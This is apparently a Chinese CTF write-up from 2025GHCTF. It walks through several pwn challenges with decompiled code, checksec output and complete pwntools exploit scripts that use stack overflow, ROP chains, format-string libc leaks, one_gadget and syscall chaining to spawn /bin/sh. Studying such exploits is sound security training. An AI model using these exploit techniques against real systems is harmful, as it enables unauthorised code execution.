p.recvuntil(b'How much do you exchange?')
p.sendline(b'1000000')
p.recvuntil(b'6.check youer money\n')
p.sendline(b'5')
p.recvuntil(b'You can name it!!!\n')
#开始栈溢出漏洞攻击
pop_rdi_ret_addr = 0x0000000000400d73
#puts_plt = 0x0400590
#puts_got = 0x0602018
#start_addr = 0x0400C4F
puts_plt = f.plt['puts'] #puts函数的入口地址
puts_got = f.got['puts'] #puts函数的got表地址
start_addr = f.symbols['_start'] #程序的起始地址

payload1 = b'a'*(0x40 + 0x8) + p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
p.send(payload1)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#read函数的真实地址,由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节
print("puts_real_addr: ", hex(puts_real_addr))
libc_base = puts_real_addr - libc.sym["puts"]

#ret_addr = 0x00400579
pop_rdi_ret_addr = 0x0000000000400d73
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print("system_addr:{}".format(hex(system_addr)))
print("binsh_addr:{}".format(hex(binsh_addr)))

payload2 = b'a'*(0x40+0x8) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)

p.recvuntil(b'6.check youer money\n')
p.sendline(b'5')
p.sendline(payload2)
sleep(0.5)
p.interactive()

题解有点繁琐,需要学习一些大佬的模板来简化

ret2libc2

考察知识点:ret2libc , 栈迁移 , 格式化字符串漏洞 , ogg , 在libc中找rop

IDA

IDA_main

1
2
3
4
5
6
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
func();
return 0;
}

IDA_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *func()
{
char buf[32]; // [rsp+0h] [rbp-30h] BYREF
char format[14]; // [rsp+20h] [rbp-10h] BYREF
__int16 v3; // [rsp+2Eh] [rbp-2h]

strcpy(format, "hello world!\n");
v3 = 0;
printf(format);
puts("give you a gift.");
puts("show your magic");
read(0, buf, 0x60uLL);
return buf;
}

checksec

1
2
3
4
5
6
7
8
9
10
briteny@localhost:/mnt/d/111/ret2libc2$ checksec ret2libc2
[*] '/mnt/d/111/ret2libc2/ret2libc2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

题目给了三个附件,对于一般的C程序修改它的配置操作如下;

修改ld文件[链接器]

1
patchelf --set-interpreter file_path#[链接器路径]

修改库:

1
patchelf --replace-needed 原库名 新库名#[库路径]

shift+F12

image-20250306200030544

查看字符并没有我们想要的字符串

rop

1
2
3
4
5
6
7
briteny@localhost:/mnt/d/111/ret2libc2$ ROPgadget --binary ./ret2libc2 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x000000000040101a : ret

Unique gadgets found: 2

并没有我们想要的

汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00000000004011FB ; __unwind {
.text:00000000004011FB endbr64
.text:00000000004011FF push rbp
.text:0000000000401200 mov rbp, rsp
.text:0000000000401203 sub rsp, 30h
.text:0000000000401207 mov rax, 6F77206F6C6C6568h
.text:0000000000401211 mov rdx, 0A21646C72h
.text:000000000040121B mov qword ptr [rbp+format], rax
.text:000000000040121F mov [rbp+var_8], rdx
.text:0000000000401223 lea rax, [rbp+format]
.text:0000000000401227 mov rdi, rax ; format
.text:000000000040122A mov eax, 0
.text:000000000040122F call _printf
.text:0000000000401234 lea rax, s ; "give you a gift."
.text:000000000040123B mov rdi, rax ; s
.text:000000000040123E call _puts
.text:0000000000401243 lea rax, aShowYourMagic ; "show your magic"
.text:000000000040124A mov rdi, rax ; s
.text:000000000040124D call _puts
.text:0000000000401252 lea rax, [rbp+buf]
.text:0000000000401256 mov edx, 60h ; '`' ; nbytes
.text:000000000040125B mov rsi, rax ; buf
.text:000000000040125E mov edi, 0 ; fd
.text:0000000000401263 mov eax, 0
.text:0000000000401268 call _read
.text:000000000040126D lea rax, [rbp+buf]
.text:0000000000401271 nop
.text:0000000000401272 leave
.text:0000000000401273 retn
.text:0000000000401273 ; } // starts at 4011FB

可以看到call结束后还会有

1
.text:000000000040126D                 lea     rax, [rbp+buf]

这个时候buf的地址就被加载到了rax

再控制程序跳转到

1
.text:0000000000401227                 mov     rdi, rax        ; format

开始利用格式化字符串泄露地址

我们可以通过泄露__libc_start_call_main+128的地址,进而算出libc的基址

我们可以明显地观察到存在格式化字符串漏洞,在buf溢出时,也可以设定好格式化字符串的值用于地址的泄露

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

# libc = ELF('/home/loorain/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

# io = process('./ret2libc2')
io = remote('node2.anna.nssctf.cn',28996)

def p():
gdb.attach(proc.pidof(io)[0])

main = 0x401227
bss = 0x404000

# p()

io.recvuntil("show your magic\n")

payload = b"%7$p"
payload = payload.ljust(0x30, b'\x00')
payload += p64(bss + 0x300) + p64(main)
io.send(payload)

libcbase = int(io.recv(14),16) - 0x29d90
success("libcbase -->" + hex(libcbase))

one_gadget = libcbase + 0xebc81

io.recvuntil("show your magic\n")
payload = b"a"*0x30 + p64(bss + 0x300) + p64(one_gadget)
io.send(payload)

io.interactive()

真会布置栈吗?

checksec

1
2
3
4
5
6
7
8
9
10
briteny@localhost:/mnt/d/111/pwn4$ checksec attachment
[*] '/mnt/d/111/pwn4/attachment'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

IDA

_start:

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall start(__int64 a1)
{
signed __int64 v1; // rax
void **v2; // [rsp+0h] [rbp-8h] BYREF
void *retaddr; // [rsp+8h] [rbp+0h] BYREF

print(a1, msg1, 0x17BuLL);
v2 = &retaddr;
print(a1, (const char *)&v2, 8uLL);
print(a1, msg2, 0x235uLL);
v1 = sys_read(0, (char *)&v2, 0x539uLL);
__asm { jmp [rsp+8+var_8] }
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#! /usr/bin/python3
from pwn import *
#pyright: reportUndefinedVariable=false

context.os = 'linux'
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

elf=ELF("./attachment")
# libc=ELF("./libc.so.6")

debug = 1

if debug:
io = process('./attachment')
#io = remote('0.0.0.0',9999)
else:
io = remote('222.67.132.186',25608)

def p():
gdb.attach(proc.pidof(io)[0])

# p()
# b *0x401079

# 0x0000000000401018 : pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15
# 0x0000000000401021 xor rdx, rdx ; jmp r15
# 0x000000000040101f : jmp rdi
# 0x0000000000401017 : pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15
# 0x000000000040101a : pop r13 ; pop r15 ; jmp r15
# 0x000000000040100C xchg rax, r13
# 0x401077 syscall ; jmp [rsp]
# 0x000000000040101c : pop r15 ; jmp r15
# 0x000000000040101b : pop rbp ; pop r15 ; jmp r15
# 0x0000000000401011 : add rbx, 8 ; jmp qword ptr [rbx]
# 0x401027 xor rsi, rsi ; jmp r15
# read
payload=p64(0x40101a)+p64(0x401017)
payload+=p64(0x402800)+p64(0)+p64(0x402800)+p64(0)+p64(0x40100C)
payload+=p64(0x40101b)+p64(0x401077)
payload+=p64(0x401017)+p64(0x402800)+p64(0x402800)+p64(59)+p64(0x401011)+p64(0X40100A)
io.sendline(payload)
# p()
# sleep(0.5)
io.sendline(b'/bin/sh\x00'+p64(0X401021)+p64(0x401027)+p64(0x401027)+p64(0x40100C))
io.interactive()

第一次送入payload的流程:

high_addr
0X40100A [ syscall ; LINUX - sys_write ]
0x401011 [ add rbx, 8 ; jmp qword ptr [rbx] ]
59
0x402800 [ bss段 ]
0x402800 [ bss段 ]
0x401017 [ pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15 ]
0x401077 [ syscall ; jmp [rsp] ]
0x40101b [ pop rbp ; pop r15 ; jmp r15 ]
0x40100C [ xchg rax, r13 ]
0
0x402800 [ bss段 ]
0
0x402800 [ bss段 ]
0x401017 [ pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15 ]
0x40101a [ pop r13 ; pop r15 ; jmp r15 ]
low_addr

payload1构造的核心思想其实就是系统调用,过程中语句繁杂,只有一部分是我们需要的,或者有一些是用来当作中间媒介的

程序劫持后的运行流程

**1.**根据ida的结果可知 jmp [rsp+8+var_8],跳转到esp所指向的地址

**2.**跳转到[esp]后执行如下命令

1
pop r13 ; pop r15 ; jmp r15

各个寄存器的值:

1
2
3
r13: 0x40101a
r15: 0x401017
rsp: stack_addr_0x402800

**3.**跳转到[r15]后执行如下命令

1
pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15

各个寄存器的值:

1
2
3
4
5
6
r13: 0 
rsi: 0x402800
rdi: 0
rbx: 0x402800
r15: 0x40100C
rsp: stack_addr_0x40101b

**4.**跳转到0x40100C后执行如下命令

1
xchg    rax, r13

根据IDA的查看:

1
.text:000000000040100E                 jmp     qword ptr [rsp+0]

各个寄存器的值:

1
2
3
4
5
6
7
r13: some_value
rsi: 0x402800
rdi: 0
rbx: 0x402800
r15: 0x40100C
rsp: stack_addr_0x40101b
rax: 0

**5.**跳转到0x40101b后执行如下命令

1
pop rbp ; pop r15 ; jmp r15

各个寄存器的值:

1
2
3
4
5
6
7
8
r13: some_value
rsi: 0x402800
rdi: 0
rbx: 0x402800
r15: 0x401077
rsp: stack_addr_0x401017
rax: 0
rbp: 0x40101b

**6.**跳转到0x401077后执行如下命令,触发系统调用

1
syscall ; jmp [rsp]

各个寄存器的值:

1
2
3
4
5
6
7
8
9
r13: some_value
rsi: 0x402800
rdi: 0
rbx: 0x402800
r15: 0x401077
rsp: stack_addr_0x401017
rax: 0
rbp: 0x40101b
rdx: 0x539

rax为0,出发系统调用sys_read

1
2
3
#第一个参数存储在rdi,是文件描述符fd
#第二个参数存储在rsi,表示缓冲区地址,也就是buf
#第三个参数存储在rdx,表示要读取的字节

由于程序劫持后一直没修改过rdx的值寄存器的值,所以edx的值由源_start函数中的语句决定,相关部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x0000000000401033 <+0>:     movabs rsi,0x402000
0x000000000040103d <+10>: mov edx,0x17b
0x0000000000401042 <+15>: call 0x401000 <print>
0x0000000000401047 <+20>: push rsp
0x0000000000401048 <+21>: mov rsi,rsp
0x000000000040104b <+24>: mov edx,0x8
0x0000000000401050 <+29>: call 0x401000 <print>
0x0000000000401055 <+34>: movabs rsi,0x40217b
0x000000000040105f <+44>: mov edx,0x235
0x0000000000401064 <+49>: call 0x401000 <print>
0x0000000000401069 <+54>: xor rax,rax
0x000000000040106c <+57>: xor rdi,rdi
0x000000000040106f <+60>: mov rsi,rsp
0x0000000000401072 <+63>: mov edx,0x539
0x0000000000401077 <+68>: syscall
0x0000000000401079 <+70>: jmp QWORD PTR [rsp]

**7.**跳转到0x401017后执行如下命令

1
pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15

各个寄存器的值:

1
2
3
4
5
6
7
8
9
r13: 59
rsi: 0x401017
rdi: 0x402800
rbx: 0x402800
r15: 0x401011
rsp: stack_addr_0x40100A
rax: 0
rbp: 0x40101b
rdx: 0x539

**8.**跳转到0x401011后执行如下命令,触发系统调用

1
syscall                 ; LINUX - sys_write

各个寄存器的值并未发生改变

rax为0,触发系统调用sys_read

1
2
3
#第一个参数存储在rdi,是文件描述符fd
#第二个参数存储在rsi,表示缓冲区地址,也就是buf
#第三个参数存储在rdx,表示要读取的字节

这个时候相当于开始向bss段写入内容,并且开始控制程序getshell,也就有了payload2的构造

1
io.sendline(b'/bin/sh\x00'+p64(0X401021)+p64(0x401027)+p64(0x401027)+p64(0x40100C))

先写入/bin/sh字符做准备,’\x00’用于结束读取

0x401027:

1
xor     rsi, rsi  ; jmp     r15

基本作用就是清空rsi,跳转到[r15]去

0x401011:

1
add     rbx, 8  ; jmp qword ptr [rbx]

加完之后rbx的值为0x402808,这个位置存放的就是0x401021

0x401021:

1
2
xor     rdx, rdx
jmp r15

清空rdx,跳转到[r15]指向的位置也就是0x401011

再向后加8位,并跳转到这个位置,循环往复后跳转到0x40100C

0x40100C的内容是:

1
2
.text:000000000040100C                 xchg    rax, r13
.text:000000000040100E jmp qword ptr [rsp+0]

最后再次跳转到[rsp]指向的地址

再次触发系统调用;

1
syscall

这时的寄存器的值:

1
2
3
4
5
6
7
8
9
r13: 0
rsi: 0
rdi: 0
rbx: 0x402820
r15: 0x401011
rsp: stack_addr_0x40100A
rax: 59
rbp: 0x40101b
rdx: 0

这时的rax的值为59,系统调用为execve()

1
2
3
#第一个参数为程序路径,指向可执行文件,存储在rdi中
#第二个参数为参数数组,指向程序的参数列表,存储在rsi中
#第三个参数为环境变量参数,指向程序的环境变量列表,存储在rdx中

这时设置的参数数组只有一个元素,设置为0,环境变量数组设置为0,最后成功getshell

my_vm

题目附件送的gift图片

image-20250307095338336

checksec

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/111/vm$ checksec my_vm
[*] '/mnt/d/111/vm/my_vm'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

# libc = ELF('/home/loorain/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6')
# libc = ELF('./libc.so')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

# io = process('./my_vm')
io = remote('node1.anna.nssctf.cn',28171)

def p():
gdb.attach(proc.pidof(io)[0], "b *0x400b39")

io.recvuntil("set your IP:")
io.sendline("0")

io.recvuntil("set your SP:")
io.sendline("1")

backdoor = 0x400877

# p()
cnt = 16
payload = str(0x10000000) + "\n";
payload += str(0x10010001) + "\n";

payload += str(0x10030877) + "\n" # mov r3, 0x0877
payload += str(0x10040040) + "\n" # mov r4, 0x0040

payload += str(0x50020001) + "\n"; # r2 -1
payload += str(0x50020201) + "\n"; # r2 -2

payload += str(0x50020201) + "\n"; # r2 -3
payload += str(0x50020201) + "\n"; # r2 -4

payload += str(0x50020201) + "\n"; # r2 -5
payload += str(0x50020201) + "\n"; # r2 -6

payload += str(0x50020201) + "\n"; # r2 -7
payload += str(0x50020201) + "\n"; # r2 -8

payload += str(0x10050010) + "\n"; # mov r5 0x10
payload += str(0x80040405) + "\n"; # r4 << 16

payload += str(0x40030304) + "\n"; # add r3, r4
payload += str(0x90020300) + "\n"; # mov [r2], r3


io.recvuntil("How much code do you want to execve:")
io.sendline(str(cnt))

# p()

sleep(1)

io.send(payload)


io.interactive()


2025GHCTF
http://example.com/2025GHCTF_WP/
作者
briteny-pwn
发布于
2025年3月9日
许可协议